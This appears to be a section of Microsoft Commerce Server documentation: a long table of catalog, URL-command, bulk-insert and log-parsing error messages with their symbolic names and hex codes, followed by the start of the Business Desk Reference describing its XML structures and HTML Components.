Failure to allocate queue thread pool, hr: %1 | MSCOP_E_ThreadPoolAllocationErr | 0xCA1D8026L
Error: Two ClsKeyDefs marked as Primary for Class: %1 | MSCOP_E_TwoKeyDefsMarkedPrimaryInKeyDefValidation | 0xCA3A80C2L
KeyDef at array slot 0: %1, KeyDef at array slot %2: %3 | MSCOP_E_TwoKeyDefsMarkedPrimaryInKeyDefValidationDetails | 0xCA3A80C3L
Error: Two Members marked as Primary Key: %1 and %2. | MSCOP_E_TwoPrimaryKeys | 0xCA3A810FL
Error: Failed adding TypeDef object to Catalog TypeDef list: %1, Object name: %2, SCODE: %3 | MSCOP_E_TypeDefListAddFailure | 0xCA3A8028L
Error: TypeDef lookup error while processing Member name: %1, Class name: %2, Type name: %3, SCODE: %4 | MSCOP_E_TypeDefLookupInMemDefValidation | 0xCA3A8034L
Error: Failed adding TypeDef object to Catalog TypeDef map: %1, Object name: %1, SCODE: %2 | MSCOP_E_TypeDefMapAddFailure | 0xCA3A8026L
Error: Failed adding TypeDef object to Catalog TypeDef by ID map: %1, Object name: %2, SCODE: %3 | MSCOP_E_TypeDefMapByIDAddFailure | 0xCA3A8027L
ParseMemberNames(), couldn't add %1 to the member list | MSCOP_E_URLCmdsAddMemberFailed | 0xCA2D8018L
AddUrlCmdMapEntry(), command number mismatch, name: %1, new cmd#: %2, cmd#: %3 | MSCOP_E_URLCmdsAddUrlCmdMapEntryCommandNoMismatch | 0xCA2D801DL
AddUrlCmdMapEntry(), func adress mismatch, name: %1 | MSCOP_E_URLCmdsAddUrlCmdMapEntryFunctionAddrMismatch | 0xCA2D801EL
BULK INSERT statement had a bad class name | MSCOP_E_URLCmdsCmdBulkBadClassName | 0xCA2D8074L
Failed initializing the data file: %1 | MSCOP_E_URLCmdsCmdBulkDataFileInitFailed | 0xCA2D807DL
Error: Zero number of columns in format file, format file: %1 | MSCOP_E_URLCmdsCmdBulkDataFormat0Columns | 0xCA2D807BL
Failed processing the data format file: %1 | MSCOP_E_URLCmdsCmdBulkDataFormatFileFailure | 0xCA2D807AL
BULK INSERT statement failed to initialize load data (%1) | MSCOP_E_URLCmdsCmdBulkDataInitializationFailed | 0xCA2D8079L
Failed importing the data file: % | MSCOP_E_URLCmdsCmdBulkImportFailed | 0xCA2D807CL
BULK INSERT statement failed to initialize bulk load command (%1) | MSCOP_E_URLCmdsCmdBulkInitializationFailed | 0xCA2D8078L
BULK INSERT statement had no data file name | MSCOP_E_URLCmdsCmdBulkNoDataFile | 0xCA2D8076L
BULK INSERT statement had no FROM clause | MSCOP_E_URLCmdsCmdBulkNoFROM | 0xCA2D8075L
BULK INSERT statement -- syntax error, no format file name | MSCOP_E_URLCmdsCmdBulkNoFormatFile | 0xCA2D8077L
BULK statement had no INSERT | MSCOP_E_URLCmdsCmdBulkNoINSERT | 0xCA2D8073L
Creating a delete helper row for ClassNames command (%1) | MSCOP_E_URLCmdsCmdClassNamesDeleteHelperCreateFailed | 0xCA2D8081L
Class Attribute command could not find class definition name %1 | MSCOP_E_URLCmdsCmdClsAttribClsDefNotFound | 0xCA2D8058L
Class Attribute command expecting attribute name | MSCOP_E_URLCmdsCmdClsAttribNoAttributeName | 0xCA2D805AL
Class Attribute command expecting class name | MSCOP_E_URLCmdsCmdClsAttribNoClassName | 0xCA2D805BL
Schema Change Mode is required to create a new class attribute | MSCOP_E_URLCmdsCmdClsAttribScheamaNotInSchemaChangeMode | 0xCA2D8059L
Parse(), missing class name, url:%1 | MSCOP_E_URLCmdsCmdClsDefParseNoClassName | 0xCA2D805CL
In CmdConnect::Parse(), Missing catalog/catalog db name/catalog db server name, Server: %1, Database: %2, UserID: %3 | MSCOP_E_URLCmdsCmdCmdConnectParseBadConnectionString | 0xCA2D8070L
Value for Public key token not specified in the connection string. | MSCOP_E_URLCmdsCmdCmdConnectParseBadEncryptionConnectionString0 | 0xCA2D80A4L
Invalid private key index value or value not specified in the connection string. | MSCOP_E_URLCmdsCmdCmdConnectParseBadEncryptionConnectionString1 | 0xCA2D80A5L
Invalid connection string. Private key index value specified without a Public key. | MSCOP_E_URLCmdsCmdCmdConnectParseBadEncryptionConnectionString2 | 0xCA2D80A6L
Value for PrivateKey1 not specified. Invalid connection string. | MSCOP_E_URLCmdsCmdCmdConnectParseBadEncryptionConnectionString3 | 0xCA2D80A7L
Value for PrivateKey2 not specified. Invalid connection string. | MSCOP_E_URLCmdsCmdCmdConnectParseBadEncryptionConnectionString4 | 0xCA2D80A8L
The column '%1' is not associated with the table '%2'. Current table is '%3'. | MSCOP_E_URLCmdsCmdColDefBadTableName | 0xCA2D806FL
Column def command could not find associated table def name %1 | MSCOP_E_URLCmdsCmdColDefNoTblDef | 0xCA2D806DL
Column %1 not found. Cannot create new column when schema change mode not enabled | MSCOP_E_URLCmdsCmdColDefNotInSchemaChangeMode | 0xCA2D806EL
Creating a delete helper row for DelDateClsNames (%1) | MSCOP_E_URLCmdsCmdDelDateClsNamesDeleteHelperCreateFailed | 0xCA2D8086L
Malformed command DeleteAll. | MSCOP_E_URLCmdsCmdDeleteAllBad | 0xCA2D8083L
Malformed WITH clause for DeleteAll. | MSCOP_E_URLCmdsCmdDeleteAllBadWITHClause | 0xCA2D8082L
Problem executing DeleteAll. hr = %1 | MSCOP_E_URLCmdsCmdDeleteAllFailure | 0xCA2D8085L
DeleteAll operation failed to create an instance of a new guid (%1) | MSCOP_E_URLCmdsCmdDeleteAllGUIDCreationFailed | 0xCA2D8084L
Creating a delete helper row for DimensionNames command (%1) | MSCOP_E_URLCmdsCmdDimensionNamesDeleteHelperCreateFailed | 0xCA2D807FL
'ExpandClassName <ClassName> <Number of Levels>' command invalid class name | MSCOP_E_URLCmdsCmdExpandClassNameInvalidClass | 0xCA2D8087L
'ExpandClassName <ClassName> <Number of Levels>' command invalid number of levels | MSCOP_E_URLCmdsCmdExpandClassNameInvalidLevels | 0xCA2D8088L
Creating a delete helper row for ExpandClassNames (%1) | MSCOP_E_URLCmdsCmdExpandClassNamesDeleteHelperCreateFailed | 0xCA2D8089L
Creating a delete helper row for FactNames command (%1) | MSCOP_E_URLCmdsCmdFactNamesDeleteHelperCreateFailed | 0xCA2D807EL
Group Member command expecting class name | MSCOP_E_URLCmdsCmdGroupMemNoClassName | 0xCA2D806CL
Group Member command could not find member group definition name %1 | MSCOP_E_URLCmdsCmdGroupMemNoGroupMember | 0xCA2D8066L
Group Member command expecting Group member name | MSCOP_E_URLCmdsCmdGroupMemNoGroupMemberName | 0xCA2D806BL
Group Member command could not find member definition name %1 | MSCOP_E_URLCmdsCmdGroupMemNoMember | 0xCA2D8068L
Group Member command expecting Member name | MSCOP_E_URLCmdsCmdGroupMemNoMemberName | 0xCA2D806AL
Member %1 is not a group or subgroup | MSCOP_E_URLCmdsCmdGroupMemNotAGroup | 0xCA2D8067L
Group %1 not found. Cannot create new group when schema change mode not enabled | MSCOP_E_URLCmdsCmdGroupMemNotFound | 0xCA2D8069L
Member Attribute command expecting attribute name | MSCOP_E_URLCmdsCmdMemAttribNoAttributeName | 0xCA2D805FL
Member Attribute command expecting class name | MSCOP_E_URLCmdsCmdMemAttribNoClassName | 0xCA2D8061L
Member Attribute command expecting member name | MSCOP_E_URLCmdsCmdMemAttribNoMemberName | 0xCA2D8060L
Schema Change Mode is required to create a new member attribute | MSCOP_E_URLCmdsCmdMemAttribNotInSchemaChangeMode | 0xCA2D805EL
Member Attribute command could not find member definition name %1 | MSCOP_E_URLCmdsCmdMemAttribParseNoMemberName | 0xCA2D805DL
The Class name '%1' is not associated with the partition '%2'. Current class is '%3'. | MSCOP_E_URLCmdsCmdPartitionBadClassName | 0xCA2D8064L
Partition def command could not find associated class def name %1 | MSCOP_E_URLCmdsCmdPartitionNoClassName | 0xCA2D8062L
Partition Def '%1' not found. Cannot create new Partition Def when schema change mode not enabled | MSCOP_E_URLCmdsCmdPartitionNotInSchemaChangeMode | 0xCA2D8063L
Creating a delete helper row for RelationNames command (%1) | MSCOP_E_URLCmdsCmdRelationNamesDeleteHelperCreateFailed | 0xCA2D8080L
Error retrieving Password from OLE DB Properties (%1) | MSCOP_E_URLCmdsCmdSynchOLEDBPropertiesNoPassword | 0xCA2D8072L
Error retrieving User from OLE DB Properties (%1) | MSCOP_E_URLCmdsCmdSynchOLEDBPropertiesNoUser | 0xCA2D8071L
Couldn't add values in WHERE clause | MSCOP_E_URLCmdsCouldNotAddValuesToWhereClause | 0xCA2D809EL
Command: '%1' not registered | MSCOP_E_URLCmdsCreateCmdCommandNotRegistered | 0xCA2D801FL
The member %1 exceeds the maximum permissible size of %2 bytes for the datatype. | MSCOP_E_URLCmdsDataOverflow | 0xCA2D8096L
WITH TRUNCATE and a WHERE clause are not allowed in the same statement | MSCOP_E_URLCmdsDeleteInstBadClauses | 0xCA2D804CL
Malformed WHERE clause. | MSCOP_E_URLCmdsDeleteInstBadWHEREClause | 0xCA2D804BL
Delete operation failed. Statement: %1, SchemaVer: %2, GuidContext: %3 | MSCOP_E_URLCmdsDeleteInstFailed | 0xCA2D804DL
Delete operation failed to create an instance of a new guid (%1) | MSCOP_E_URLCmdsDeleteInstGUIDCreateFailed | 0xCA2D804AL
DeleteInst(), Failed to parse DELETE query. url: %1, SCODE: %2 | MSCOP_E_URLCmdsDeleteInstParseFailed | 0xCA2D8049L
Missing one or more of %1 delimiters in the query. | MSCOP_E_URLCmdsDelimiterMissing | 0xCA2D808EL
The Aggregation layer is not initialized correctly. | MSCOP_E_URLCmdsDoQueryAggLayerNotInitialized | 0xCA2D8099L
Aggregator failed in performing query, hr: %1, url: %2 | MSCOP_E_URLCmdsDoQueryAggregatorFailed | 0xCA2D8054L
Select statement has unsupported clauses, or incorrect ordered clauses. | MSCOP_E_URLCmdsDoQueryBadClauses | 0xCA2D8050L
GROUP Keyword specified without BY. | MSCOP_E_URLCmdsDoQueryGROUPNoBY | 0xCA2D804EL
Error in member list parsing, hr: %1, url: %2 | MSCOP_E_URLCmdsDoQueryMemberListParsing | 0xCA2D8052L
ORDER Keyword specified without BY. | MSCOP_E_URLCmdsDoQueryORDERNoBY | 0xCA2D804FL
Select operation failed. Statement: %1, hr=%2 | MSCOP_E_URLCmdsDoQuerySELECTFailed | 0xCA2D8051L
Error: Expecting '=' operator in SET clause, url: %1 | MSCOP_E_URLCmdsExpectingEqual | 0xCA2D802BL
Error allocating new MemberInfo structure | MSCOP_E_URLCmdsExtractValsMemberInfoAllocationFailure | 0xCA2D8021L
Error adding MemberInfo to list | MSCOP_E_URLCmdsExtractValsMemberInfoListAddFailure | 0xCA2D8022L
Only AND is supported in complex expressions (for example, WHERE x > 1 AND y < 1) | MSCOP_E_URLCmdsExtractValsOnlyAND | 0xCA2D8020L
INSERT VALUES must have parenthesis to delimit values | MSCOP_E_URLCmdsInsertVALUESNeedsParens | 0xCA2D802AL
Members of type longtext, binary and image are not supported in queries. Member name %1 is one of these types. | MSCOP_E_URLCmdsInvalidMemberType | 0xCA2D8094L
The query has an invalid or a missing FROM clause. | MSCOP_E_URLCmdsInvalidOrMissingFromClause | 0xCA2D809BL
The query has an invalid set value clause. | MSCOP_E_URLCmdsInvalidSetClause | 0xCA2D809AL
Can't perform a SELECT operation on a class without key (ClassName: %1, Command: %2) | MSCOP_E_URLCmdsLoadInstNoKeyInClass | 0xCA2D803BL
A member list was expected in the query. | MSCOP_E_URLCmdsMemberListNotFound | 0xCA2D8092L
Member name %1 was not found in the class. | MSCOP_E_URLCmdsMemberNotFound | 0xCA2D8093L
Error: ParseMemListInParen(), expecting ')', url: %1 | MSCOP_E_URLCmdsMemsErrorCloseParen | 0xCA2D8005L
Error: ParseMemListInParen(), expecting '(', url: %1 | MSCOP_E_URLCmdsMemsErrorOpenParen | 0xCA2D8004L
The command queries for encrypted properties on %1 but the Private Key Index column for the class is not defined. | MSCOP_E_URLCmdsMissingPrivateKeyIdxDefinition | 0xCA2D80A1L
Missing report name. URL: %1 | MSCOP_E_URLCmdsMissingReportName | 0x8A2D80A0L
Member names expected, '*' is not allowed for order by arguments | MSCOP_E_URLCmdsNoWildCard | 0xCA2D8001L
One or more of the supported relational operators are missing in the query. | MSCOP_E_URLCmdsOperatorMissing | 0xCA2D8090L
'order by' must be followed by valid member names | MSCOP_E_URLCmdsOrderByNoMembers | 0xCA2D8002L
Error setting value into Row (%1) | MSCOP_E_URLCmdsParseCSVValuesSetListSetValueFailure | 0xCA2D800EL
URLCommand::ParseClassDef(), Could not find class '%1' | MSCOP_E_URLCmdsParseClassDefClassNotFound | 0xCA2D801CL
Error: ParseExpr(), invalid query - bad WHERE clauses, hr: %1, url: %2 | MSCOP_E_URLCmdsParseExprNodeBadWHEREClause | 0xCA2D801BL
Error: ParseExpr(), too many nested expression terms, url: %1 | MSCOP_E_URLCmdsParseExprNodeNestedExpressions | 0xCA2D801AL
Error: ParseExprNode(), expecting '(', url: %1 | MSCOP_E_URLCmdsParseExprNodeOpenParen | 0xCA2D8019L
Failure in parsing an URL command, hr: %1, url: %2 | MSCOP_E_URLCmdsParseFailure | 0xCA2D8038L
Update command is not supported in fast-load mode. | MSCOP_E_URLCmdsParseFastLoadUpdateNotSupported | 0xCA2D8098L
INSERT statement had a bad class name - url : %1 | MSCOP_E_URLCmdsParseInsertBadClass | 0xCA2D8024L
INSERT statement had bad member clause | MSCOP_E_URLCmdsParseInsertBadMember | 0xCA2D8025L
INSERT statement had bad VALUES (%1) | MSCOP_E_URLCmdsParseInsertBadVALUESClause | 0xCA2D8029L
ParseInsert(), Could not create row (%1) - url: %1 | MSCOP_E_URLCmdsParseInsertCreateRowFailed | 0xCA2D8027L
The value for key index column %1 cannot be inserted using queries. It should not be specified in the query. | MSCOP_E_URLCmdsParseInsertKeyIndexInList | 0xCA2D80AAL
INSERT statement had no VALUES clause | MSCOP_E_URLCmdsParseInsertNoVALUESClause | 0xCA2D8026L
INSERT statement not supported | MSCOP_E_URLCmdsParseInsertNotSupported | 0xCA2D8028L
ParseInsert(), Failed to parse INSERT query. url : %1, SCODE: %2 | MSCOP_E_URLCmdsParseInsertParseFailed | 0xCA2D8023L
Error: expecting member name, url: %1 | MSCOP_E_URLCmdsParseMemberExpectedMember | 0xCA2D8010L
ParseMemberNames(), error parsing member name. url: %1 | MSCOP_E_URLCmdsParseMemberFailed | 0xCA2D8006L
Source Attribute command expecting attribute name | MSCOP_E_URLCmdsParseNoAttributeName | 0xCA2D8057L
Source Attribute command could not find source definition name %1 | MSCOP_E_URLCmdsParseNoSrcDef | 0xCA2D8055L
Schema Change Mode is required to create a new source attribute | MSCOP_E_URLCmdsParseNotInSchemaChangeMode | 0xCA2D8056L
Error adding element %1 in SELECT clause | MSCOP_E_URLCmdsParseSelectAddElementFailed | 0xCA2D803DL
Out of Memory in Select | MSCOP_E_URLCmdsParseSelectEOM | 0xCA2D803CL
Error: ParseSimplExpr(), Failed to construct simple expression node. hr: %1, url: %2 | MSCOP_E_URLCmdsParseSimplExprConstructNodeFailure | 0xCA2D8016L
Error: ParseSimplExpr(), Couldn't convert value for member %1, url: %2 | MSCOP_E_URLCmdsParseSimplExprConversionFailure | 0xCA2D8013L
Encrypted properties are not supported in WHERE clause expressions. | MSCOP_E_URLCmdsParseSimplExprEncryptedValNotSupported | 0xCA2D80A2L
Error: ParseSimplExpr(), expecting relational operator, url: %1 | MSCOP_E_URLCmdsParseSimplExprExpectingRelationalOperator | 0xCA2D8012L
An invalid member type was encountered in the expression. Expressions with longtext, binary and image types are not supported. | MSCOP_E_URLCmdsParseSimplExprInvalidMemberType | 0xCA2D808DL
Error: ParseSimplExpr(), Member validation failed, hr: %1, url: %2 | MSCOP_E_URLCmdsParseSimplExprMemberValidationFailed | 0xCA2D8015L
Error: Multi-values are not supported inside expressions for member %1, url: %2 | MSCOP_E_URLCmdsParseSimplExprMultiValNotSupported | 0xCA2D8014L
Error: ParseSimplExpr(), ToSimple failed, hr: %1, url: %2 | MSCOP_E_URLCmdsParseSimplExprToSimpleFailure | 0xCA2D8017L
Unknown object type requested in query, url: %1 | MSCOP_E_URLCmdsParseUnknownObjectType | 0xCA2D8037L
Members of datatype %1 not supported. | MSCOP_E_URLCmdsParseUnsupportedDatatype | 0xCA2D8097L
UPDATE statement had a bad class name | MSCOP_E_URLCmdsParseUpdateBadClass | 0xCA2D8030L
The value of key index column %1 cannot be updated using queries. It should not be specified in the query. | MSCOP_E_URLCmdsParseUpdateKeyIndexInList | 0xCA2D80A9L
UPDATE statement had no SET | MSCOP_E_URLCmdsParseUpdateNoSET | 0xCA2D8031L
ParseUpdate(), Error parsing SET values (%1) - url : %2 | MSCOP_E_URLCmdsParseUpdateNoSETClause | 0xCA2D8034L
ParseUpdate(), Error while creating internal Row | MSCOP_E_URLCmdsParseUpdateRowCreateFailure | 0xCA2D8032L
Error adding element %1 in WHERE clause | MSCOP_E_URLCmdsParseWhereAddElementFailed | 0xCA2D803FL
Error adding element %1%2 in where clause | MSCOP_E_URLCmdsParseWhereAddElementInBracketsFailed | 0xCA2D8040L
Out of Memory in Select | MSCOP_E_URLCmdsParseWhereEOM | 0xCA2D803EL
Error: Multi-values are not supported inside expressions for member %1, url: %2 | MSCOP_E_URLCmdsParseWhereInvalidMVMember | 0xCA2D8045L
Invalid NULL member specified in where clause | MSCOP_E_URLCmdsParseWhereInvalidMember | 0xCA2D8043L
Invalid Relational Operator specified in delete where clause | MSCOP_E_URLCmdsParseWhereInvalidRelationOperator | 0xCA2D8041L
Invalid where clause | MSCOP_E_URLCmdsParseWhereInvalidWHEREClause | 0xCA2D8046L
Only 'AND' is supported in where clauses. | MSCOP_E_URLCmdsParseWhereOnlyAND | 0xCA2D8047L
Error parsing where. Statement: %1, SchemaVer : %2 | MSCOP_E_URLCmdsParseWhereParseError | 0xCA2D8048L
Relational operator can not be applied to existing where path: %1 | MSCOP_E_URLCmdsParseWhereRelationOperator | 0xCA2D8042L
Error: in where clause, Couldn't convert value for member %1, url: %2 | MSCOP_E_URLCmdsParseWhereValueConversionError | 0xCA2D8044L
Can't %1 into a class without a join key | MSCOP_E_URLCmdsPerformStorageNoJoinKey | 0xCA2D8035L
PerformStorageAction(), Could not perform single instance UPDATE operation (%1) | MSCOP_E_URLCmdsPerformStorageUpdateFailed | 0xCA2D8036L
Error parsing the relation member name for URL '%1'. Command syntax is 'RelMember/<Relation-Name>/<Relation-Member-Name>'. | MSCOP_E_URLCmdsRelMemParseRelMemName | 0xCA2D8065L
The CRow structure is not initialized correctly for CSV values. | MSCOP_E_URLCmdsRowNotValid | 0xCA2D8095L
The select all operator "*" is not supported in queries. | MSCOP_E_URLCmdsSelectAllNotSupported | 0xCA2D8091L
SetNoResultsCommand(), Error allocating MultipleResults object - Out of memory | MSCOP_E_URLCmdsSetNoResultsCommandEOM | 0xCA2D802EL
SetNoResultsCommand(), Error Initializing Multiple Results Object (%1) | MSCOP_E_URLCmdsSetNoResultsCommandInitFailure | 0xCA2D802FL
Missing token type %1 in the query. | MSCOP_E_URLCmdsTokenMissing | 0xCA2D808FL
Error Unknown Value (as type %1) | MSCOP_E_URLCmdsUnknownValue | 0xCA2D8003L
Error expecting ',' or ')' after value %1 (%2) | MSCOP_E_URLCmdsValSetErrorCloseParen | 0xCA2D800AL
Error: ParseValueSet(), expecting '(' for after IN, url: %1 | MSCOP_E_URLCmdsValSetErrorOpenParen | 0xCA2D8007L
IN values cannot have multi-values (%1) | MSCOP_E_URLCmdsValSetMultiValInVal | 0xCA2D8008L
URLCommand::ParseValueSet(), Could not parse value %1 (%2) | MSCOP_E_URLCmdsValSetParseFailure | 0xCA2D8009L
Too many values in set - max count is %1 | MSCOP_E_URLCmdsValSetTooManyValuesInSet | 0xCA2D800BL
URLCommand::ValidateMember, String length too long for %1 (max=%2) | MSCOP_E_URLCmdsValidateMemberStringTooLong | 0xCA2D8011L
ValidateMembers(), Could not add member %1 in class %2 to memlist (%3) | MSCOP_E_URLCmdsValidateMembersAddFailure | 0xCA2D8039L
ValidateMembers(), Could not find member %1 in class %2 | MSCOP_E_URLCmdsValidateMembersMemberNotFound | 0xCA2D803AL
Encrypted properties are not supported in ORDER BY list. | MSCOP_E_URLCmdsValidateOrderByMembersEncrypted | 0xCA2D80A3L
Error parsing value %1 | MSCOP_E_URLCmdsValueParsingError | 0xCA2D802CL
Error setting value into Row (%1) | MSCOP_E_URLCmdsValueSetError | 0xCA2D802DL
Error: Member: %1 flagged as UniqueKey, but Class: %2 not flagged for GenerateKeyDefs | MSCOP_E_UniqueKeyMemWithNoKeyDefInMemDefValidation | 0xCA3A8046L
Referenced member name '%1' is unknown. | MSCOP_E_UnknownMemberName | 0xC8018006L
Error: Relation name: %1 specifies a unknown Relation type. | MSCOP_E_UnknownRelTypeInRelDefValidation | 0xCA3A80D9L
Unsupported type for column def, col: %1, type: %2 | MSCOP_E_UnsupportedColumnType | 0xCA41802FL
Unsupported Parameter type (in hex) %1 | MSCOP_E_UnsupportedParameterType | 0xCA478046L
UpdateLastInstEndPos, bad current count or index, current count: %1, index: %2 | MSCOP_E_UpdateLastInstEndPosBadIndex | 0xCA1A8008L
Cannot generate Update Stored Procedure for Class: %1, No Identity Member defined. | MSCOP_E_UpdateStoredProcedureClassGenerationFailed | 0xCA418003L
Generation of Update Stored Procedure failed for Table:%1 hr: %2 | MSCOP_E_UpdateStoredProcedureTableGenerationFailed | 0xCA418004L
Update Stored Procedure statement failed for Table:%1. Statement: %2, hr: %3 | MSCOP_E_UpdateStoredProcedureTableStatementFailed | 0xCA418005L
Error obtaining handle to Public key container or public key not specified. | MSCOP_E_UrlCommandNoPublicKey | 0xCA14807AL
Error: Invalid type for Member: %1. Only internal objects can be REFERENCE | MSCOP_E_UserDefinedREFERENCEMember | 0xCA3A8035L
Error: Value ID column lookup error while processing multi value Member Link table. Table name: %1, Val ID Column name: %2, SCODE: %3 | MSCOP_E_ValIDColLookupFailureInCLinkTblInfoValidation | 0xCA3A8061L
Error: Failed while Validating generated identity member. Mem name: %1::%2, hr: %3 | MSCOP_E_ValidationFailureInGenerateIdentity | 0xCA3A8083L
Error: Failed while Validating generated InternalFlag member. Mem name: %1::%2, hr: %3 | MSCOP_E_ValidationFailureInGenerateIternalFlag | 0xCA3A8085L
Error: ViewDef lookup error while processing View Member. View Member name: %1, View name: %2, SCODE: %3 | MSCOP_E_ViewDefLookupErrorInViewMemValidation | 0xCA3A80FEL
Error: View Member lookup error. Member name: %1, Class name: %2, View name: %3, SCODE: %4 | MSCOP_E_ViewMemDefLookupErrorInViewMemValidation | 0xCA3A80FFL
Error: Not enough memory to allocate View Member Extenstion | MSCOP_E_ViewMemExtAllocationFailureInViewMemValidation | 0xCA3A8101L
VirtualAlloc for memory failed. Bytes requested: %1. GetLastError returned %2. | MSCOP_E_VirtualAllocFailure | 0xCA448036L
Malformed WHERE clause. | MSCOP_E_WHEREClauseMalformed | 0xCA148074L
WaitingForSingleObject (ICommand) returned %1, | MSCOP_E_WaitForICommandConnectionFailed | 0xCA48802EL
WaitingForSingleObject (IRowsetFastload) returned %1, | MSCOP_E_WaitForIRowsetFastloadConnectionFailed | 0xCA48802FL
Failed to initialize the XML conversion library (%1) | MSCOP_E_XmlLibInitFailed | 0xC8018008L
Corrupted buffers in ClsDBSaveJobInfo::ProcessOneInst. hr: %1 | MSCOP_E_dbjobinofCorruptBuf | 0xCA1A802DL
sp_recompile failed for Table:%1, SCODE: %2 | MSCOP_E_sp_recompileFailed | 0xCA418021L
No user id found in connection string. Defaulting to NT Authentication. | MSCOP_I_UsingNTAuthentication | 0xCA488030L
Wait for ICommand signalled. Waited: %1, Return code: %2 | MSCOP_I_WaitSignalledForICommandConnection | 0x4A48802DL
Wait for IRowsetFastload signalled. Waited: %1, Return code: %2 | MSCOP_I_WaitSignalledForIRowsetFastloadConnection | 0x4A48802BL
All %1 ICommand connections in use. Waiting %2 milliseconds for connection to free. | MSCOP_I_WaitingForICommandConnection | 0x4A48802CL
All %1 IRowsetFastload connections in use. Waiting %2 milliseconds for connection to free. | MSCOP_I_WaitingForIRowsetFastloadConnection | 0x4A48802AL
The following log data source doesn't have any log files associated with it: %1 | NO_FILE_ERROR | 0xCB008111L
There is no log data source specified %1 | NO_INPUT_SOURCE_ERROR | 0xCB00811FL
This log file does not contain any valid hit : %1 | NO_VALID_HIT_ERROR | 0xCB008143L
Unable to open any log files associated with the following log data source : %1 | OPEN_ALL_FILE_ERROR | 0xCB008113L
Unable to open file: %1 | OPEN_FILE_ERROR | 0xCB008141L
Error creating the aggregation engine: Out of memory | OUT_OF_MEMORY_AGG_ENGINE | 0xCB00814CL
Error allocating element. This should never happen:Out of memory | OUT_OF_MEMORY_ALLOC_HIT_BUFFER | 0xCB008174L
Out of Memory | OUT_OF_MEMORY_ERROR | 0xCB00811EL
Can't allocate memory for CEventsParser:Out of memory | OUT_OF_MEMORY_EVENT_PARSER | 0xCB00816BL
Can't create the hits array:Out of memory | OUT_OF_MEMORY_HITS_ARRAY | 0xCB008167L
Can't allocate memory for HitBufferInfo structure :Out of memory | OUT_OF_MEMORY_HITS_BUFFER_INFO | 0xCB008164L
Could not create a Hits-Parser factory.: Out of memory | OUT_OF_MEMORY_HITS_PARSER_FACTORY | 0xCB00815AL
Parser Factory could not create a %1-hits parser. : Out of memory | OUT_OF_MEMORY_HITS_PARSER_FACTORY2 | 0xCB00815BL
Can't allocate memory for HitBufferInfo's virtual buffer pointers:Out of memory | OUT_OF_MEMORY_HIT_BUFFER | 0xCB00816DL
Error creating the JobBufferMgr: Out of memory | OUT_OF_MEMORY_JOB_BUFFER | 0xCB00814DL
Error creating log data source : Out of memory | OUT_OF_MEMORY_LOG_DATA_SOURCE | 0xCB008153L
Failed allocating the BSTR Commerce site name: Out of memory | OUT_OF_MEMORY_STRING_ALLOC | 0xCB008150L
Can't allocate memory for UsersMap:Out of memory | OUT_OF_MEMORY_USER_MAP | 0xCB00816AL
Can't create the virtual buffer for the hits strings:Out of memory | OUT_OF_MEMORY_VIRTUAL_BUFFER | 0xCB008168L
Unable to read file: %1 | READ_FILE_ERROR | 0xCB008142L
Invalid option for retry exhaust default to stop | RETRY_INVALID | 0xCB0081FBL


Business Desk Reference

Commerce Server Business Desk provides a framework within which third party developers can add their own functionality. The different aspects of the framework can be categorized as follows:

  • A well-defined way in which new modules make themselves known.
  • A number of HTML Components (HTCs) that provide a standardized user interface for the display and manipulation of data.
  • A large number of constants, global variables, and utility routines that provide a common basis for module development.

This section provides detailed information about these different aspects of the Business Desk Framework, presented in a reference format.

For conceptual information about building a new Business Desk module, see Building Business Desk Modules.

For information about the cascading style sheets that control the look of Business Desk, see Style Sheet Reference.

This section contains:

  • XML Structures. Describes the Extensible Markup Language (XML) structures that are used with Business Desk for module and category configuration, and for HTC configuration. This includes links to the XML Reference section for details about these structures.
  • HTML Components. Describes the HTML Components that are used for data presentation and manipulation within Business Desk. Provides detailed information about the various properties, methods, and events associated with these HTCs, as well as links to the XML Reference topics describing the structure of their configuration information.
  • Include Files. Describes the include files that define the constants, global variables, and utility routines that constitute much of the Business Desk Framework. Explains when to include and when to not include each of these files.
  • Constants. Describes the constants defined in the various Business Desk include files. Defines which constants are available in client-side script and which constants are available in server-side script.
  • Global Variables. Describes the global variables defined in the various Business Desk include files. Defines which global variables are available in client-side script and which global variables are available in server-side script.
  • Utility Routines. Describes the routines defined in the various Business Desk include files. Defines which routines are available in client-side script and which routines are available in server-side script.
  • Debugging Business Desk. Describes debugging aids built into the HTCs and framework routines.


XML Structures

The Commerce Server Business Desk Framework and HTML Components (HTCs) make extensive use of Extensible Markup Language (XML) in specific, pre-defined structures. The following table briefly describes these structures and provides links to more detailed information in Business Desk XML Structures.

XML Structure | Description
Master Configuration File | The XML structure of the master configuration file that ties all other module configuration files together.
Module Configuration Files | The XML structure of the module configuration files that specify the details of each individual module.
HTML Component Data Representation | The XML structure in which many of the HTCs expect data to be represented. These HTCs include DynamicTable, EditField, EditSheet, ListEditor, and ListSheet.
DynamicTable Configuration | The XML structure of the configuration information for the DynamicTable HTC.
EditField Configuration | The XML structure of the configuration information for one or more EditField HTCs.
EditSheet Configuration | The XML structure of the configuration information for the EditSheet HTC.
ExpressionBuilder Configuration | The XML structure of the configuration information for the ExpressionBuilder HTC.
ListEditor Configuration | The XML structure of the configuration information for the ListEditor HTC.
ListSheet Configuration | The XML structure of the configuration information for the ListSheet HTC.
QueryBuilder Configuration | The XML structure of the configuration information for the QueryBuilder HTC.
TreeView Configuration | The XML structure of the combined data and configuration information used by the TreeView HTC.


HTML Components

The Commerce Server Business Desk Framework includes a number of HTML Components (HTCs) that are used extensively by the modules that ship with Commerce Server. These same HTCs should be used in new Business Desk modules, wherever appropriate, to preserve a consistent look-and-feel within all modules.

This section contains:

  • DynamicTable. Describes the HTC used for editing tabular data where editing is limited to the columns being displayed. Record editing is performed in a special row above the column headings.
  • EditField. Describes the HTC used for editing individual items of data of various types. This control is often embedded within other tabular controls to provide the actual editing functionality for individual cells in the table.
  • EditSheet. Describes the HTC used to bundle together other HTCs that are used to edit data.
  • ExpressionBuilder. Describes the HTC used for creating named expressions that can be used for targeting. The ExpressionBuilder HTC makes use of an embedded version of the QueryBuilder HTC.
  • ListBox.
  • ListEditor. Describes the HTC used for editing tabular data where the editing of individual records occurs in a separate table below the table containing the list. The table used for record editing may allow editing of fields other than those displayed in the list table. The ListEditor HTC makes use of an embedded version of the EditSheet and ListSheet HTCs.
  • ListSheet. Describes the read-only HTC used to display a list of records and allows selection of one or more of those records for editing. The editing itself is always performed within one of the other HTCs.
  • MenuControl. Describes the HTC used to control a context menu.
  • QueryBuilder. Describes the HTC used to build a simple query.
  • TreeView. Describes the HTC used to display an expandable tree structure that provides a mechanism for both navigation and selection.


DynamicTable

